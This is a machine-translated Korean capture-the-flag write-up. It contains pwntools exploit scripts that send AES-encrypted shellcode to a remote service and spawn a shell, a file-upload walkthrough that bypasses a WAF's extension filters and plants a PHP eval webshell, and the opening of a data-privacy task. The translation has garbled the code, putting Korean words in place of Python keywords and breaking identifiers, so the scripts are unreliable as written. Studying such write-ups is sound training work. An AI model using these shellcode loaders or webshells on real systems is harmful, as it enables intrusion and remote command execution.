
PWN 가져 오기 *

std_pwn 가져 오기 *

Crypto에서 Cipher Import AES에서

crypto.util.padding 가져 오기 패드

DefgetProcess (IP, 포트, 이름) :

글로벌 p

iflen (sys.argv) 1 및 sys.argv [1]=='r':

P=원격 (IP, 포트)

반환 p

else:

p=프로세스 (이름)

반환 p

SL=LAMBDA X: P.SENDLINE (X)

SD=Lambda x: P.Send (X)

SA=Lambda X, Y: P.SendAfter (X, Y)

SLA=LAMBDA X, Y: P.Sendlinter (x, y)

RC=Lambda X: P.RECV (X)

rl=lambda: p.recvline ()

ru=lambda x: p.recvuntil (x)

ita=lambda: p.interactive ()

SLC=LAMBDA: ASM (Shellcraft.sh ())

uu64=lambda x: u64 (x.ljust (8, b '\ 0'))

UU32=Lambda x: U32 (x.ljust (4, b '\ 0'))

# Return SL, SD, SA, SLA, RC, RL, RU, ITA, SLC, UU64, UU32

defaes_ecb_encrypt (PlainText) :

인쇄 (일반 텍스트)

C inb'0Moyhjlcit1zkbnrnchag':의 경우

일반 텍스트 3: 인 경우

print (f '{chr (c)} in in it!')

# 육각형 문자열 키를 바이트로 변환합니다

키=B'862410C4F93B77B4 '

# AES 암호화를 만듭니다

cipher=aes.new (key, aes.mode_ecb)

# 일반 텍스트를 채우고 암호화하십시오

padded_plaintext=pad (PlainText, aes.block_size)

ciphertext=cipher.encrypt (padded_plaintext)

# ciphertext를 16 진수 문자열로 변환하고 반환합니다

Ciphertext를 반환하십시오

shellcode='' '

RSP를 푸시하십시오

팝 RSI

Mov Edi, 0

Mov EDX,0xff

RDI를 푸시하십시오

팝 락스

SYSCALL

JMP RSP

'' ''

# 01ayhcjitkbn molznrchg

p=getProcess ('47 .117.42.74 ', 32846,'./scsc ')

Context (os='linux', arch='amd64', log_level='debug', terminal=[ 'tmux', 'splitw', '-h']))).

ELF=ELF ( './SCSC')

GDBA ()

페이로드=ASM (ShellCode)

SA ( 'Magic Data:', AES_ECB_ENCRYPT (ASM (ShellCode))))

SL (ASM (Shellcraft.sh ()))

ita () 또는

#!/usr/bin/env python3

PWN 가져 오기 *

context.log_level='디버그'

context.arch='amd64'

# io=프로세스 ( './SCSC')

IO=원격 ('47 .117.41.252 ', 33414)

shellcode='' '

XCHG R8, RAX

XCHG R8, RSI

서브 edi, edi

Mov EDX,0x99

서브 eax, eax

SYSCALL

'' ''

payload1=asm (shellcode)

print ( 'shellcode=', payload1.hex ())

Payload1=bytes.fromHex ( 'e29ACA48E52D1D59C539C172262E56C7AEAE3B0EBB4E872FA01F84506AD7C26')

payload2=b '\ x90'*len (payload1) + asm (shellcraft.sh ())

# gdb.attach (io)

io.sendlinter (b'magic data: ', payload1)

정지시키다()

io.send (payload2)

io.interactive ()

3. ez_upload

제목 설명 :

이 질문에는 테스트 질문에 대한 첨부 파일이 없습니다. 첨부 파일 다운로드 버튼을 무시하십시오! 서버는 암호화 된 데이터에 대해 RSA 키 파일을 저장합니다. 관리자는 서버 사이트를 유지 관리 할 때 취약한 테스트 사이트를 제 시간에 수리하지 않았습니다. RSA 키가있는 경로를 제출하십시오 (제출 스타일 : 파일이있는 경로가 /var /www 인 경우 제출 답변은 /var /www).

문제 절차 :

예비 아이디어, 말을 전달하고, getshell을 통과 한 다음 RSA와 관련된 파일을 찾으십시오.

HTML과 PHP는 모두 WAF에 의해 떨어집니다. 접미사는 파일 내용을 감지하는 데 사용될 수 있습니다.

Content-Type: Text/Html waf this

접미사는 wafed, html, php,htaccess, '. php', '. php5', '. php4', '. php3', '. php2', '. html', '. htm', '. pht', '. p ht ','. php ','. php5 ','. php4 ','. php3 ','. php2 ','. html ','. htm ','. phtml,user.ini

이렇게하지 않습니다. 그러나 phtml 접미사의 에코는이 맥락이 아닙니다.

PHP7.2 이상, HTACCESS 파일을 구성해야합니다

PNG 2 렌더링이 아닙니다

미들웨어는 아파치이며 취약성을 해결합니까?

파일 내용이 확인되고 PHP를 포함하는 컨텐츠는 WAF에 의해 삭제됩니다.

성공적으로 말을 통과했습니다

?=@eval ($ _ post [ 'cmd']);Image

RSA 키를 찾는 경로는/var/www/rssss4a입니다

Image

4. 데이터 공개 및 개인 정보 보호

제목 설명 :

홍보 부서의 기술 지원 직원으로서, 과도한 데이터 탈감작으로 인해 뛰어난 자원 봉사자를 공개적으로 칭찬하는 활동을 수행 할 때 개인 정보를 정확하게 식별 할 수 없어

여러 자원 봉사자들이 정보에 대해 혼란스러워합니다. 첨부 파일에서 《题目说明文档》의 작업 요구 사항에 따라 문제를 해결하십시오.

문제 절차 :

항목 :open 파일 - 테이블 Base64 암호화 - 시간 ()을 사용하여 의사 랜덤 배열 생성 - exoor 암호화 - 새 파일에 쓰기